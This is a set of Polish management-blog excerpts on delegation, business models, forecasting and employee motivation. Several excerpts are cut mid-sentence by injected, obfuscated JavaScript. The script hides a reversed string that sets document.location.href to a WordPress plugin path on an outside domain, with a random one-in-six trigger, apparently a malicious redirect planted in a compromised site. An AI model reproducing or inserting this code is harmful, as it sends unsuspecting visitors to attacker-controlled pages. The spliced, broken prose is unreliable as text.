I niech źle pozostanie, tak długo aż nie zostanie naprawione. Słabością wielu menedżerów jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var [...]
W małej zna się każdego, w dużej trzeba delegować. To, jak się powinno zarządzać, zależy od Modelu Biznesowego firmy. Od tego, jaki jest, ale też od tego, jak wszyscy go sobie uświadamiają. Model [...]
Przyszłości nie da się przewidzieć. Ale w próbie jej przewidywania działa prawo wielkich liczb, czyli im większe uogólnienie, więcej zdarzeń i większa skala statystyki, tym mniejsze ryzyko [...]
Interesy firmy i pracownika zawsze się rozmijają. Dlatego firma musi się postarać, aby pracownicy zachowywali się w jej interesie, inaczej zadbają wyłącznie o swój. Można [...]
Czyli zarządzanie „na kozę”, inaczej toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = [...]
Ale toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = [...]
Rotacja pracowników toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = [...]
Najlepiej jak najwcześniej. Wtedy ma się większą skłonność toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if [...]
